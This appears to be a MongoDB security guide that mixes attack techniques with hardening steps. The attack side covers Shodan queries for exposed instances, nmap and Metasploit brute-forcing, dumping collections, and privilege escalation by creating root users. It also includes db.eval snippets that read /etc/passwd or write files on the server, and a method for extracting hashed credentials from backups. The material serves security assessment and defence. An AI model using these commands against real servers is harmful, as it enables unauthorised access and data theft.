Table of contents
- Enumeration
- Brute Force
- Disable Unused Network Interfaces
- Enable Access Control (Authentication)
- Enable SSL/TLS Encryption
- Disable HTTP Interface
- Enable Audit Logging
- Exploiting Default Admin Users
- Exploiting Misconfigured Role-Based Access Control (RBAC)
- Leveraging File System Access via MongoDB
- Leveraging MongoDB API and Insecure Bindings
- Misconfigured Backup Systems
- Resources
MongoDB attacks often exploit misconfigurations, particularly when authentication and network controls are not properly enforced. A common issue is when MongoDB instances are exposed to the internet without requiring authentication, allowing attackers to connect remotely and access sensitive data. Attackers can perform unauthorized actions such as viewing, modifying, or even deleting entire databases. Additionally, brute-force attacks may be used to guess weak credentials if authentication is enabled but poorly configured, leaving the system vulnerable to compromise.
Security misconfigurations, such as leaving the default port (27017) open to the public, neglecting SSL/TLS encryption, or failing to restrict access to trusted IP addresses, further increase the risk. Proper hardening measures, like enabling access control, requiring strong passwords, restricting MongoDB to specific network interfaces, and disabling insecure features like the HTTP interface, are critical to mitigating these risks. When left unchecked, these misconfigurations can lead to data breaches, service disruption, or database hijacking (e.g., ransomware attacks).
Enumeration
MongoDB is a popular NoSQL database that can sometimes be misconfigured, leaving it vulnerable to various attacks. This guide outlines some common methods to assess MongoDB security, using both automated tools and manual approaches.
1. Nmap MongoDB Brute Force Attack
You can start by scanning MongoDB for open ports and attempt brute-force logins using Nmap.
nmap -sV --script mongodb-brute -n -p 27017 <IP>
-sV
: Detects the service version.mongodb-brute
: Uses the built-in MongoDB brute-forcing script.-p 27017
: Specifies the default MongoDB port.
2. Metasploit MongoDB Login Scanner
Using Metasploit's auxiliary module, you can automate scanning and brute-forcing MongoDB login credentials.
use auxiliary/scanner/mongodb/mongodb_login
set RHOSTS <target_ip>
set RPORT 27017
run
3. Shodan Search for MongoDB Instances
Shodan, the search engine for IoT and internet-connected devices, can be useful for finding publicly accessible MongoDB instances. Here are a few Shodan queries:
All MongoDB instances:
"mongodb server information"
Open MongoDB servers with full access:
"mongodb server information" -"partially enabled"
Partially authenticated MongoDB instances:
"mongodb server information" "partially enabled"
4. Manual MongoDB Interaction via PyMongo
Once you have identified an open MongoDB instance, you can use Python’s pymongo
library to connect and gather information.
from pymongo import MongoClient
client = MongoClient('host', 27017, username='username', password='password')
client.server_info() # Retrieve basic server info
If admin credentials are available, you can fetch more detailed server information.
admin = client.admin
admin_info = admin.command("serverStatus")
# List databases
cursor = client.list_databases()
for db in cursor:
print(db)
print(client[db["name"]].list_collection_names())
5. Common MongoDB Commands
Once you are inside a MongoDB instance, you can explore the databases and collections using the following commands:
show dbs # List databases
use <db> # Switch to the desired database
show collections # List collections in the selected database
db.<collection>.find() # Dump the contents of a collection
db.<collection>.count() # Get the number of records in the collection
db.current.find({"username":"admin"}) # Search for a specific user
If you have admin privileges, you can easily dump the entire database using these commands.
6. Automating MongoDB Enumeration with Nmap
For a more automated approach to MongoDB enumeration, Nmap provides some MongoDB-specific scripts:
nmap -sV --script "mongo* and default" -p 27017 <IP>
This will utilize any MongoDB-related scripts in Nmap’s library to gather more information and possibly exploit vulnerabilities in the database.
Brute Force
MongoDB is often misconfigured, leading to potential vulnerabilities, especially when authentication is disabled. In this guide, we’ll go through how to test MongoDB login mechanisms, check for authentication requirements, and perform brute-force attacks using tools like Nmap.
1. MongoDB Login Methods
By default, MongoDB doesn’t require a password, making it an easy target if authentication isn’t configured correctly. Below are several methods for logging into a MongoDB instance:
Basic MongoDB login without specifying a database:
mongo <HOST>
Specify both host and port:
mongo <HOST>:<PORT>
Specify a particular database:
mongo <HOST>:<PORT>/<DB>
Login with a username and password:
mongo <database> -u <username> -p '<password>'
If no credentials are required, you’ll gain access to the instance. However, if authentication is enabled, you’ll need valid credentials.
2. Checking for MongoDB Authentication Using Nmap
Nmap’s mongodb-brute
script can be used to check if MongoDB requires credentials, and it can attempt brute-forcing the login if necessary.
nmap -n -sV --script mongodb-brute -p 27017 <ip>
-n
: Disables DNS resolution.-sV
: Detects the version of the service.mongodb-brute
: Runs the brute force script against MongoDB.-p 27017
: Scans MongoDB’s default port.
If MongoDB is open and requires no authentication, this script can potentially log in without needing a username or password.
3. Manual Brute Forcing
To verify if MongoDB requires authentication, you can manually inspect the MongoDB configuration file (mongodb.conf
). For example, if you’re working on a Bitnami MongoDB setup, the config file is typically located at /opt/bitnami/mongodb/mongodb.conf
.
To check if authentication is disabled (no password required), use the following commands:
- Checking if authentication is not required (noauth enabled):
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#"
If the result is true
, it means MongoDB is running without authentication.
- Checking if authentication is enabled:
If this returns true
, MongoDB is enforcing authentication, and you’ll need credentials to log in.
Lack of Authentication in MongoDB Instance
By default, MongoDB instances can be exposed to the internet without authentication, allowing attackers to access the database remotely. Let’s start by identifying an open MongoDB instance and attempting to connect to it.
Identify MongoDB instance and open ports
Use Nmap to detect open MongoDB ports and services:nmap -n -sV -p 27017 <TARGET_IP>
If port
27017
is open, it indicates MongoDB is accessible on the target machine.Connect to MongoDB without authentication
If authentication is not enabled, you can access the database directly:mongo <TARGET_IP>:27017
Once connected, you can view the available databases and collections:
show dbs # List databases
use <database_name> # Switch to a specific database
show collections # List collections in the selected database
db.<collection>.find() # Dump the data from the collection
This allows an attacker to potentially access sensitive information without credentials.
After discovering that MongoDB is exposed, we’ll simulate an admin securing the instance by enabling authentication and setting up a strong password for the admin user.
- Enable MongoDB authentication
To enable authentication in MongoDB, edit themongod.conf
configuration file and turn on authorization. This step requires root or sudo access to the server:
sudo sed -i '/security:/a \ \ \ \ authorization: enabled' /etc/mongod.conf
This adds the necessary lines to enable authorization. After editing, restart the MongoDB service:
sudo systemctl restart mongod
- Create an admin user with a strong password
Now that authentication is enabled, you need to create an admin user with a secure password:
mongo admin --eval "db.createUser({user: 'admin', pwd: 'strong_password_here', roles: ['root']})"
This command creates an admin user with root privileges.
Disable Unused Network Interfaces
By default, MongoDB might listen on all network interfaces, making it accessible to attackers. Restrict it to listen only on localhost (127.0.0.1
):
sudo sed -i '/net:/a \ \ \ \ bindIp: 127.0.0.1' /etc/mongod.conf
This ensures MongoDB is accessible only from the local machine, minimizing exposure.
Restart MongoDB after making changes:
sudo systemctl restart mongod
Enable Access Control (Authentication)
Enabling access control ensures that only authorized users can access the MongoDB instance. Update the configuration file to enable authentication:
sudo sed -i '/security:/a \ \ \ \ authorization: enabled' /etc/mongod.conf
Restart MongoDB:
sudo systemctl restart mongod
Now, you need to create an admin user with strong credentials:
mongo admin --eval "db.createUser({user: 'admin', pwd: 'secure_password', roles: ['root']})"
Enable SSL/TLS Encryption
To protect data in transit, SSL/TLS should be enabled. This encrypts the communication between the MongoDB server and clients:
mongod --sslMode requireSSL --sslPEMKeyFile /path/to/ssl/key.pem --sslCAFile /path/to/ca/ca.pem --sslAllowInvalidHostnames
Make sure you have valid certificates in the specified paths.
Disable HTTP Interface
MongoDB provides a simple HTTP interface that is not secured. It’s recommended to disable this feature by editing the mongod.conf
file:
sudo sed -i '/httpEnabled/ s/true/false/g' /etc/mongod.conf
Restart MongoDB:
sudo systemctl restart mongod
Enable Audit Logging
Audit logging allows you to track who accessed the MongoDB instance and what actions were taken. This is crucial for detecting malicious activities.
sed -i '/systemLog:/a \ \ \ \ destination: file\n\ \ \ \ path: /var/log/mongodb/audit.log\n\ \ \ \ logAppend: true\n\ \ \ \ auditLog:\n\ \ \ \ \ \ \ \ destination: file\n\ \ \ \ \ \ \ \ format: JSON' /etc/mongod.conf
Explanation: This command modifies the MongoDB configuration file to enable audit logging and saves logs in
/var/log/mongodb/audit.log
in JSON format.Purpose: Audit logs provide insights into operations performed on the database, helping in post-incident analysis.
2. Set Appropriate File Permissions
MongoDB log files should be secured so that only the MongoDB service has access to them. This limits the ability of attackers to tamper with logs.
chown -R mongodb:mongodb /var/log/mongodb
chmod -R go-rwx /var/log/mongodb
Explanation:
chown
sets the ownership of the log directory to the MongoDB service account, andchmod
removes read, write, and execute permissions from group and others.Purpose: Protects sensitive log data from being modified or viewed by unauthorized users.
3. Disable Unused MongoDB Features
Turning off unnecessary MongoDB features like operation profiling reduces the attack surface.
sed -i '/operationProfiling:/a \ \ \ \ mode: off' /etc/mongod.conf
sed -i '/setParameter:/a \ \ \ \ quiet: true' /etc/mongod.conf
Explanation: These commands disable MongoDB's operation profiling mode (which can unnecessarily log slow queries, giving attackers insight into database operations) and enable quiet mode to reduce verbose logging.
Purpose: Minimizes logging of unnecessary information, reducing the chances of attackers gathering intelligence from log files.
4. Enable Firewalls and Limit Access to MongoDB Ports
To restrict unauthorized access, configure a firewall to only allow connections from trusted sources, such as an internal network.
ufw allow from 192.168.1.0/24 to any port 27017 proto tcp
ufw enable
Explanation: This command configures the
ufw
firewall to allow connections to MongoDB only from the local network (192.168.1.0/24
) and blocks all other IPs.Purpose: Prevents attackers from accessing MongoDB instances from untrusted or external networks.
Exploiting Default Admin Users
Many MongoDB deployments have a default admin user account, sometimes configured with weak or no password. Attackers who gain access to a user-level MongoDB account can escalate their privileges by logging in as the admin
user if authentication isn’t properly configured.
Identify the Admin Database MongoDB stores user credentials in the
admin
database. Once connected to MongoDB, attackers can list available databases to find the admin database:show dbs
Switch to the
admin
database and check if a user exists:use admin show users
Login with Default or Weak Credentials If weak credentials or default credentials are in use, attackers can log in as the
admin
user:mongo admin -u admin -p 'password' --host <TARGET_IP>:27017
Once logged in, attackers can escalate their access to admin privileges and gain full control over the MongoDB instance.
Exploiting Misconfigured Role-Based Access Control (RBAC)
MongoDB uses Role-Based Access Control (RBAC) to define what actions users can perform. Sometimes, roles are misconfigured, allowing users with limited roles to gain access to privileged operations.
Enumerate User Roles After gaining access to a MongoDB instance as a low-privileged user, attackers can check their own role:
db.runCommand({ connectionStatus: 1 })
This command returns the user’s current role, which might allow unintended operations.
Abuse Misconfigured Privileges If the user has the
dbAdmin
orreadWrite
role but on sensitive databases (e.g., theadmin
database), they can escalate privileges by creating or modifying roles.
db.createUser({
user: "newAdmin",
pwd: "secure_password",
roles: [ { role: "root", db: "admin" } ]
})
In this scenario, the attacker has escalated privileges by creating a new admin account.
Leveraging File System Access via MongoDB
MongoDB allows you to store files and binary data using the GridFS system. If the attacker gains dbOwner
or dbAdmin
privileges, they can exploit MongoDB to read or write files directly to the underlying system.
- Write a File to the System By using
db.eval()
or specific commands likeload()
(if not restricted), attackers can run JavaScript code on the server. If the server allows the execution of scripts, attackers can write files to the MongoDB server:
db.eval("var file = new File('/path/to/target/file.txt', 'w'); file.write('malicious content'); file.close();")
This could allow for arbitrary file creation or modification on the file system, potentially allowing the attacker to plant malicious scripts or configurations.
- Read Files from the System If the
db.eval()
function is enabled and no security restrictions are in place, an attacker can also read sensitive files from the system:
db.eval("var file = cat('/etc/passwd'); print(file);")
This scenario could allow attackers to retrieve sensitive information such as user accounts on the system.
Leveraging MongoDB API and Insecure Bindings
By default, MongoDB listens on all available network interfaces, which can expose the database to the public internet. If attackers can gain access to an exposed MongoDB API, they may escalate privileges through misconfigured network settings.
- Identify the Binding IP Check whether MongoDB is bound to insecure interfaces (e.g., open to the public):
db.adminCommand({getCmdLineOpts: 1}).parsed.net.bindIp
- Escalate by Accessing the Admin Database If attackers can access the admin interface over the network (e.g., through the
27017
port), they may be able to escalate privileges by connecting remotely and performing administrative operations:
mongo <TARGET_IP>:27017/admin -u admin -p 'admin_password'
Once connected to the admin
database, attackers can escalate their access by executing commands or creating new users with elevated privileges.
Misconfigured Backup Systems
MongoDB databases are often backed up regularly. If these backups are exposed to unauthorized users or misconfigured, an attacker can gain access to sensitive data or credentials stored in these backups.
- Access Backup Directories If an attacker has access to the MongoDB server or cloud storage where backups are stored, they can download and restore a MongoDB backup to their local system:
mongorestore --host localhost --port 27017 --db admin /path/to/backup
Once the database is restored, attackers can query sensitive data or escalate their privileges.
- Extract Admin Credentials from Backup Attackers can query the
admin
database from the restored backup to extract hashed admin credentials:
use admin
db.system.users.find()
With the hashed credentials, attackers can attempt to crack the password and log in as an administrator on the live system.
Resources
hacktricks
Gcow安全团队